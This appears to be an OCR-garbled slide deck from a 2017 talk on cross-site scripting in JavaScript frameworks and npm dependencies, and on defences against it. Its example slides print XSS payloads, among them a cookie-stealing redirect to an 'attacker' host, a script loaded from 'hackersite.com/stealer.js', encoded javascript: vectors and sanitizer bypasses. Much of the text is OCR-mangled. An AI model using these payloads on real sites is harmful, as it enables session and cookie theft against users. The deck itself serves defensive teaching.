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Now, 2017






Customers and secu rity



Only 1 hole




On\y | open window




Qn\y | issue and ...




All secu rier?



XSS

Cross  Site Scripﬂng




Statistics



Security Report, quarterly

@kamai




% XSS attacks in Q1-2 of 2017
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Avg XSS in Q1-2 of 2017
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“xample of XSS



Reflected XSS

th://Fo ru m.by?sea rch=news <\sc ript%20src=" h’r’rp://hacke rsite.com/stealer.js



Reflected XSS

PAGE NOT FOUND

<script src= "h’r’rp://hacke rsite.com/stealer.js>



Reflected XSS




Reflected XSS

Simplify your links

http://forum.by?search=news<\script%20src="http://hackersite.com/stealer.js> SHORTEN URL

All goo.gl URLs and click analytics are public and can be accessed by anyone

Original URL Created Short URL All Clicks

forum.by 1 minute ago goo.gl/oe8LWs 2

v/

Rows perpage: 10 w 1-1 of 1 4




Reflected XSS
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Porsistent XSS

Responses

ﬂ Alex Bogachuk

<html|>
<script>window.location="'http://attacker/?cookie=" + document.cookie</script>
</html>

(Publish) Go full screen




Persistent XSS

Website \
O-
Website

Perpetrator



Persistent XSS

"Mocne caoaum EM3 y meHA He xBaTaeT 6annos AN
NOCTYN/N1eHUA HAa PaAKYNbTET KOMNbIOTEPHOU 6E30NacHOCTH.

NMpupertca obecneynTb paboTom Tex, YTO NMOCTYNUAN .




Persistent XSS

"CouyBcCTBYIO NapH U3 [nTepa, KOTOpPpoMy He xBaTusao bannos,
4TOb6bl MOCTYNUTb Ha PaKy/NbTeT KOMMNbIOTEPHOM 6€30MacHOCTMU.

Hapewcb, MHe XBaTuUT' .




Dom-based XSS




DOM-based XSS

'S < scrip’r>...</scrip’r>

<input va|ue="user|npu’r">



DOM-based XSS

>
<iframe SRC="javascrip’r:q|er’r('XSS')"> </iframe>

<input vq|ue="user|npu’r">



DOM-based XSS

"> <img src=i onerror=alert('xss') >

<input va|ue="user|npu’r">



DOM-based XSS

<IMG
SRC=&#106; &#97 . &#118; &HO7 . &H115. &#99. &#114. &H105. & #1122, &#116; &#58: & #9

7:&#108. &#101. & #114. & #116; & #H 40, &#39 . &#88: & #83. & #83. &#39: & #41.>

<IMG
SRC=&#0000106&#0000097 &#0000118 &#0000097 &#0000115&#000009

9 &#0000114&#0000105 & #0000112&#0000116 &#0000058 &#0000097 & #0
000108 &#0000101&#0000114 & #0000116 & #0000040 &#0000039 & #0000

088 &#0000083&#0000083&#0000039&#0000041>



DOM-based XSS




DOM-based XSS

alert(xss)

Encode

| Eval Source

[1)[+1+]
[J+[+[]]
[11+(E]

HLR[]++[]]]+(!

JFIF[] )+ (L]
IBEACRISRLININNE

1) [+[

+(+!

J[+1+
J[+1+

(LOIF0D) [0 D) DAL FIF 0TI+
PIH(HLOIFI D) [0+ ORI+ IO
IH(ILIF0D) O+ DIHIFL ]I+ D]
1#[ ) [T [0 )+I+ ]+ [+
(10D [F0II+FCRE0I+0 0000+
(D)0 IHIHTI+H (LI I+
[+1+0]ID) [+ [F[]]]
([ID1)I

[1+1+]
[ 1) [+

D+
1+(LI 0+
J+H(01+0])
SRAB R

L+ ]+1+]

]+

BN

HOIIH(EI )+
1+ (F (I ]+ [+ ]
POIIFCI00I D) [+ )+ [+ ]
) [IF[]+IF[ ]+
(CI0CE0TI+0D) [+
JIH(LLI+0D) [+
SRR AR AN LR LA LA LA BB LA RN B LA
JF[FOIIIF LI+ A0+ )+ (L

1+[10[]

I#[]) [+ )HIF[ I+ ]+
DIFITIFC0]

])[+!1+

Y[I+[]+1+[]+1+

1+ [+!14]

]1+(!!

J+(0 [
+(1!1[]1+

11)) (8!
11+(1[ ]+

1+0])

1+[]

(1) [
(1]
I+ [




XSS on Ebay?

<SCript> @'\
- .alert m(
!Mediengruppe .
e sl By  <script>
/[Script>

- - , a|er’r("!Mediengruppe Bitnik");
</script>

ths://JrWiHe r.com/bitnk/status/912717599783440386



DOM-based XSS

ths://JrWiHe r.com/bitnk/status/912717599783440386



DOM-based XSS

www.buchhandlung-walther-

koenig.de says:

IMediengruppe Bitnik
www.angusrobertson.com.au

says:

IMediengruppea Bitnik OK

OK

ths://WWW.soxo.com/dk/scrip+o|er+—medie ngruppea-
bﬁmkuIWﬁ;fned@ngruppeiﬂhﬂk_pape&xmk_9783903V33509



XSS

2.1XSS Locator

2.2XSS Locator (short)

2.3No Filter Evasion

2.4Filter bypass based polyglot

2.5Image XSS using the JavaScript directive
2.6No quotes and no semicolon

2.7Case insensitive XSS attack vector
2.8HTML entities

2.9Grave accent obfuscation

2.10Malformed A tags

2.11Malformed IMG tags
2.12fromCharCode

2.13Default SRC tag to get past filters that check SRC domain
2.14Default SRC tag by leaving it empty
2.15Default SRC tag by leaving it out entirely
2.160n error alert

ths://WWW.owosp.o rg/index.p hp/XSS_
Filter _Evasion_Cheat_Sheet



W ho is perpetrato rs 0



Children?




Children?




|:or ]CU ﬂ?




Criminals




GOO‘S O]( XSS
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ths://dev.byAe nta/main/luch-site-uses-

coinhive—For—mining-monero



CrprrO miners

¢ 3 weeks

e 290 of 100k
e 500 000 00O visitors

ths://Uog.odguord.com/en/cryp+o—mining—{eve ¢/



Future?




W ho will save us?



- rameworks will orotect us



Secu riTy in frameworks

e React: I’]H’pS://I’QOICﬂS.O rg/docs/dom—demenh.Hm|

*  Angular: https://angulario/quide/security

* VuelS: https://vuejsorg/v2/api/#tv-html




\/u|ner0bi|i+y in Frameworks



\/U‘HQFOIIOi‘ier in frameworks

* React: dangerouslySetlnnerHTML
* Angular: [innerHTML]

*  Angular)S: ng-bind-html

* Vue)S: v-himl



\/u\nerabimy N Angu|0|rJS



\/U‘HQFOIIOi‘ier N Angu\orJS

sanitize.js

<a href="&#x3000;javascriptalert(1)">CLICKME </a>

<a>CLICKME</a>

ths://giJrhu b.com/ongu|or/ongu|or.js
/pull/13826



\/U‘HQFOIIOi‘ier N Angu\orJS

sanitize.js

- usemap attribute not being blacklisted
- Aﬁcecﬁng Angu\or pockoge, versions <1.5.0-rc.2

ths://giJrhu b.com/ongu|or/ongu|or.js
/pull/13826



\/U‘HQFOIIOi‘ier N Angu\orJS

sanitize.js

<img src=# usemap=#1coo width=100%>

< map name="1coo">

<area href=javascript:alert('XSS’) shape=default>

ths://giJrhu b.com/ongu|or/qngu|or.js
/pull/13826



Vulnero i\ijry N Angu\dr

[l angular vulnerabilities

HTML enhanced for web apps
Latest version: 1.6.6

View on npm

VULNERABILITY VULNERABLE VERSIONS
I  JSONP callback Attack <1.6.1

m @ Content Security Policy (CSP) Bypass <1.5.9 >=1.5.0

3 & Arbitrary Script Injection <1.2.30 >=1.0.0

3 & Crossssite Scripting (XSS) <1.5.0-rc.2 >=1.3.0
& Crossssite Scripting (XSS) <1.5.0-rc.0

3 & crossssite Scripting (XSS) <1.4.10

@ Cross-site Scripting (XSS) <1.5.0-beta.2

3 @ clickjacking <1.5.0-beta.0 >=1.3.1
@ Cross-site Scripting (XSS) <1.5.0-beta.® >=1.0.0
Q@ Arbitrary Code Execution <1.5.0-beta.2

m @ Arbitrary Command Execution <1.3.2

@ Unsafe Object Deserialization <1.2.24 >=1.2.19

3 & crossssite Scripting (XSS) <1.3.0-rc.4

@ Arbitrary Code Execution <1.3.0

Q Protection Bypass <1.2.2

@ Arbitrary Script Injection <1.1.5

| & Cross-site Scripting (XSS) <1.2.0 >=1.0.0

3 & crossssite Scripting (XSS) <=1.1.5

Licenses detected

KB} license: MIT >=0.0.1-1 <1.0.0,>=1.0.0

SNYK PATCH

Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available
Not available

Not available

PUBLISHED

13 Feb, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 )an, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 Jan, 2017
23 )an, 2017

23 Jan, 2017

ths://s nyk.io/vu|n/npm:o ngu|0|r



\/u\nerabi\ier in Vue)S



\/u\nerobi\ijry in Vue)S

Dynamically rendering arbitrary HTML on your website can be very dangerous

because it can easily lead to XSS attacks. Only use v-html on trusted content

and never on user-provided content.

https://vuejs.org/v2/api/#v-html



\/u\nerobi\ijry in Vue)S

new Vue({
el: '#qpp',
data: {

attack: '<a onmouseover=alert(document.cookie)>
click me!</c>',

};

https://codepen.io/anon/pen/NaOQjj



\/u\nerobi\ijry in Vue)S

<div id="app" class="container">
<span>
<a onmouseover="alert(document.cookie)">click mel</a>
</span>
</div>

https://codepen.io/anon/pen/NaOQjj



W hat about React ano Angu\dr?



\/u\nerabi\ier in 201/

77 % of sites include
at least one vu|nerabi|i’ry.

77 %

ths://s nyk.io/b|og/77—pe rcent-of-

sites-use-vulnerable-js-libraries/



\/u\nembthry in node_modules



\/u\nerabimy in Redux

<script>
const state = ${JSON.stringify(preloadedState)}

window._ _PRELOADED_STATE _ _= state;
</scrip’r>

th://red UX.jS.0 rg/docs/recipes/SQ rve rRendering.thm|



\/u\nerdbimy in Redux

{
user: Alex</script> <script>alert(XSSI') </script>"
}
<script>
const state ="{"user":"Alex
</scrip’r>

<script>alert(\"XSS\") </script>

</script>
h’rer://red UX.jS.0 rg/docs/recipes/SQ rve rRendering.thm|



Old modules

The median site Jrhey on0|yzeo| used o |i|or0|ry version that is
1177 days (that's over three years!) older than the latest release.

l’1Hp://WWW.CCS.I’1€U.€d u/home/arshad
/publications/ndss2017jslibs.pdf



Trends

® jQuery
Software

Average

® AngularJS @ React ® BackboneJS ® Vue JS

Topic JavaScript library Search term Search term

PP ™ Note
Feb 10,2013 Jul 20, 2014 Dec 27,2015

ths://Jrrends.goog|e.co m/+reno|s/exp|o re?date=2013-02-09%202017-03-

10&q=%2F m%2F0268gyp, %2F m%2FO0j4507 w, % 2F m%2F012[1vxv,Backbone S, Vue %20JS



Detected jQuery version

4%

ths://s nyk.io/b|og/77—pe rcent-of-

sites-use-vulnerable-js-libraries/



Vulnerability in jQuery

VULNERABILITY VULNERABLE VERSIONS SNYK PATCH PUBLISHED
@ Denial of Service (DoS) <3.0.0 >=2.1.0-betal Not available 26 Dec, 2016
m @ Cross-site Scripting (XSS) <3.0.0-betal >1.12.3 || <1.12.0 >=1.4.0 Not available 27 Nov, 2016
m @ DOM Based Cross-site Scripting (XSS) <=1.5.1 >=1.4.2 Not available 20 Oct, 2016
I} @ Cross-site Scripting (XSS) <1.9.0 >=1.7.1 Not available 20 Oct, 2016
I} @ Cross-site Scripting (XSS) <1.6.3 Not available 20 Oct, 2016

M+ps://snyl<.io/vu|n/npm:jquery



Other pockdges

* Handlebars
e Boofstrap

e D3

* Jslree

o Others

ths://s nyk.io/vu|n/?+ype: npm



Some other pdckoges

* babelcl; * babel-cli
* jquerys * jquery

®* mongose ®* mongoose
* gruntcli * grunt-cli
e D3js e D3

ths://s nyk.io/vu | n/?’rype: npm



Malicious pdckdges



Malicious pdckoges

Perpetrator



Malicious pockoges

"name’: " XX XXX XXX,

"version: "0.0.1-security’,

security holding package”,

"descrip’rion :

"reposi’rory . np m/secu ri’ry-ho|der"



Malicious packages

npm install mongose

how? learn more

Stats

21 downloads in the last day
118 downloads in the last week

464 downloads in the last month



Our friend are enemies



User data is enemy




PM s enemy




SN

Server Sending Ready

to be rendered HTML
Response to Browser

R is enemy

oo

- >

LOADING

HTML N .“) A

= B
‘ ‘
| |

Browser Renders the
page, Now Viewable, and
Browser Downloads JS

Browser

executes React

Page Now
Interactable




rogress Is enemy

D




SPA is enemy




Cache is enemy




SW is enemy




SW is enemy: Foreign - etch

'Content-Type" "image/qif’
'O rigin-Triq|': 'Ag|M WHYLM NTBFVZPQ...'

Link": '</sw.js>; rel="serviceworker";



SW is enemy: :oreign - etch

®

Messoge in 5O sec
Network
ServiceWorker ServiceWorker

ths://bugs.chromiu m.org/p/chromiu m/issues/detail ?id=662443



- vtensions will orotect us



Extension is enemy







XxTension is enemy

> XV = XML Viewer

Alex Russell Modified Oct 25,2017 -+

Found out today that the extension is injecting all sorts of dodgy spying URLs into pages. DO
NOT USE.

Alik Chebotar Modified Oct 25, 2017 #-+++-
This extension is spying after you and sending information to two different domains.

Steven Rombauts Modified Oct 25, 2017 -+
| discovered today that this extension is injecting tracking code into every request. Do not use!

ths://chrome.googk.co m/webstore/detail/xv-%E2%80%94-
xml-viewe r/eeocg|pgjo||ooe1coed|ob|ﬁc|oee|og mgddk



Future?




“reventing Vulnerabilities



Detect Extensions

chrome-extension://{extension ID}/resource
{extension ID = gighmmpiobkhcepjocnamgk...}/

{web _accessible _resources = adblock.custom.css}



Never Insert Untrusted

* <script> ... </s<:ri|oJr>

o <l .. >
e <div .. >
¢ < ... >

. <ery|e> </ery|e>

Dato



Cscape Before Inse rting

* & --> &amp;
¢ < > &l

* > > &gt

e "> &quot;
o > &#x27,



Sanitize HTML Morkup

abbr, accept, Occep+—chorse+, Occesskey, action, O|ig n, alt, axis, border,
ce|||oodo|ing, ce||5|oocing, char, charoff, charset, checked, cite, class, clea

r cols, co|spom, color, compact, coords, datetime, dir, disabled, enctyp

e, f@r, Frame, heoders, heightqreﬂ hreﬂong, hspdce, io|, Ismap, |O||oe|, |
ang, |Ongdesc, mox|eng+h, media, method, mu|+ip|e, name, nohref, no
shade, nowrap, prompt, readon|y, rel, rev, rows, rowspan, rules, SCOP
e, selected, shape, size, span, src, start, summary, tabindex, farget, HH

e, type,usemap, v0|ign, value, vspace, and width



Sanitize Libraries

. ths://giJrhu b.co m/|eizong min/js-xss

® Watch~ 92 W Star 1,680 ¥ Fork @247

* https://github.com/cure53/DOMPurity

® Watch~ 86 % Star 1,755 Y Fork 125

. ths://giJrhu b.co m/yohoo/se rio|ize—j0voscrip+

® Watch~ 31 W Star 892 ¥ Fork 64



CSP

Content-Security-Policy: script-src https://example.net

https://example.net/script.js

'° https://eval.net/eval.js
e

Website

ths://devebpe r.mozilla.o rg/en—
US/docs/ Web/HT TP/Headers/Content-Security-Policy



CSP

o default-src
. s+y4e—src

®* Img-src

® connect-src
* script-src

e others

ths://devebpe r.mozilla.o rg/en—
US/docs/ Web/HT TP/Headers/Content-Security-Policy



CSD nonce

Content-Security-Policy: script-src 'nonce-Xiojd98a8jd3s929Uijwdu’

<script nonce="Xiojd98a8jd3s929Uijwdu’>

<[script>

ths://devebpe rmozilla.o rg/en—
US/docs/ Web/HT TP/Headers/Content-Security-Policy



CSD hOSh

Content-Security-Policy: script-src 'sha256-
V8ghUBat8RY1nqMBeNQIXGceldGMuwYA55n3cYBxxvs="

<script>
console.log("Hello, Site!!!");
</script>

ths://devebpe rmozilla.o rg/en—
US/docs/ Web/HT TP/Headers/Content-Security-Policy



CSP report

®© W <topframe> v [ |Preserve log

© Refused to execute inline script because it violates the following Content Security Policy inline.html:6
directive: "default-src 'self'". Either the ‘'unsafe-inline' keyword, a hash ('sha256-LMD3-
055W1nMQnP8eqehNSCT_fLDXyNLVQlaWycvx8E='), or a nonce ('nonce-...') is required to enable inline execution. Note
also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

h’r’rps://devdope r.mozi”a.org/en-
US/docs/\Web/HTTP/Headers/Content-Security-Policy



CSP report

Content-Security-Policy: report-uri https://ex.com/csp/report
Content-Security-Policy-Report-Only: -//-

{
"csp-report”: {
"blocked-uri”: "http://ajax.googleapis.com"
"document-uri:" "http://example.com/index.html"
"original-policy": "default-src 'self'; report-uri http://ex.com/csp/report"
"referrer:" ""
"violated-directive": "default-src 'self'"
} } ths://devebper.mozi”o.org/en—

US/docs/ Web/HT TP/Headers/Content-Security-Policy



Other headers

e httpOnly

e X-XSS-Protection

¢ X-Frame-Options

« X-Content-Type-Options
o X-Webkit-CSP

e others

ths://zinoui.com/b|og/secu rier—th—

headers#x-fro me-options



Tools



OWARSP

Open Web Application
security Project

ths://WWW.owosp.org/index.php/CoJr
egory:Vu Ine robi|i+y_5con ning_Too|s



Download Wapiti
Current stable version: 2.3.0
Release date: 2013-10-20

The web-application
vulnerability scanner

Wapiti allows you to audit the security of your web
applications.

It performs "black-box" scans, i.e. it does not study the
source code of the application but will scans the
webpages of the deployed webapp, looking for scripts
and forms where it can inject data.

Once it gets this list, Wapiti acts like a fuzzer, injecting
payloads to see if a script is vulnerable.

th://WOpiJri.sou rcefo rge. net/



Grabber

rgaucher.info » beta » grabber

Grabber

Mercenary - urbandictionary.com

Grabber is a web application scanner. Basically it detects some kind of
your website.

Grabber is simple, not fast but portable and really adaptable. This soft
scan small websites such as personals, forums etc. absolutely not
would take too long time and flood your network.

Why this kind of application ?

This is a very small application (currently 2.5kLOC in Python) and the first re
scanner is to have a "minimum bar” scanner for the Samate Tool Evaluatio
NIST.

Grabber is also for me a nice way to do some automatics verification on websites/scripts |
do. Users should know some things about web vulnerabilities before using this soft
because it only tell you what vulnerability it is... not how to solve it.

Current features

Because it's a small tool, the set of vulnerabilities is small...

- Cross-Site Scripting

- SQL Injection (there is also a special Blind SQL Injection module)

- File Inclusion

- Backup files check

- Simple AJAX check (parse every JavaScript and get the URL and try to get the
parameters)

- Hybrid analysis/Crystal ball testing for PHP application using PHP-SAT

- JavaScript source code analyzer: Evaluation of the quality/correctness of the JavaScript
with JavaScript Lint

- Generation of a file [session_id, time(t)] for next stats analysis.

th://rgOuche r.in{o/befo/g rabber/



Tools for Jenkins



i

(// [

+ ZAP Plugin

+ Any Report P|ugin

https://drive.google.com/file/d/OB2oxRW7 Aymi
FOUIDRER3IVTRXNGs/view



Owasp ZAP for HolyJS

URL to attack: https://holyjs-moscow.ru/

7,,“ Attack Stop

@ X-Frame-Options Header Not Set
URL: https://holyjs-moscow.ru/

7. Alerts (5) Risk: i Medium

> LL'L' Confidence: Medium

» U Cross-Domain JavaScript Source File Inclusion (131) Parameter: X-Frame-Options

» [ Incomplete or No Cache-control and Pragma HTTP Header | Attack:

» [ Web Browser XSS Protection Not Enabled (137) Evidence:

» U X-Content-Type-Options Header Missing (134) CWE ID: 16

WASC |ID: 15

Source: Passive




Arachni

URL %

" atacboi

< web application security scanner eromework

+ Text Finder P|ugin

+ Any Repor’r P|ugin

ths://bbg.secodis.co m/2016/03/17/automated-

security-fests-3-jenkins-arachni-threadfix/



Static Code Ancﬂysis



Static Code Ano\ysis

'\1 ; CHECKMARX

VERACODE

sonharqQube




Static Code Ana\ysis

(®) ESLint

ths://gi’rhu b.com/nodesecu ri+y/es|in+—
p|ugm—secu rity



D

ease, | want more



NSP

run npm install nsp

run Nsp check’

pockoge.json

ths://nodesecu rier.io/



Snyk

run npm install snyk\

ru N \snyk test

pockoge.json

npm

ths://snyk.io/



Snyk N Ligmh@use 2.5

v Includes front-end JavaScript libraries with known security vulnerabilities: 1 X
vulnerability was detected.
Some third-party scripts may contain known security vulnerabilities that are
easily identified and exploited by attackers.

v View Details

Library Version Vulnerability Count Highest Severity

jQuery@1.11.1 1 Medium

ths://snyk.io/



Snyk in GitHub Security Alerts

<> Code (D lssues 0 i) Pull requests 0 1"l Projects 0 =l Wiki i Insights

Pulse Dependency graph

Contributors
Dependencies Dependents

Traffic
Commits A\ We found a potential security vulnerability in one of your dependencies. Dismiss
Code frequency The actionview dependency defined in Gemfile.lock has a known moderate severity security
vulnerability in version range >=4.0.0, <=4.2.7 and should be updated.
Dependency graph . . . .
Only users who have been granted access to vulnerability alerts for this repository can see this message.
Learn more about vulnerability alerts
Network
Forks These dependencies have been defined in VulnerabilityTestRepoRubyGems’s manifest files, such as Gemfile

and Gemfile.lock

" Debendencies defined in Gemfile 1



Summdry



Summqry

* Do not rely only on frameworks
* Care about your users

e | ook after node_modules

* Use Contfent-Security-Policy

e Use Tools for Dynomic omo|ysis

e Use ESLint for Static on0||ysis



Thank you!



L ink to the Presentation

http://goo.gl/G3MiSy
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| JUST WRITED UNTIL YOU
CLICKED ON THELINK!
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Thank you!

Questions?

Bogachuk Alexey
bogachuk.alex@gmail.com
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* https://html5sec.org/

. ths://WWW.thmB rocks.com/en/tutorials/secu rier/co ntent-

secy ri+y—p0|icy/

. ths://excess—xss.com/

. ths://WWW.shdeshQ re.net/kevinhakanso n/ng—owosp—ndc

. ths://thrQhobr.ru/pos+/197672/




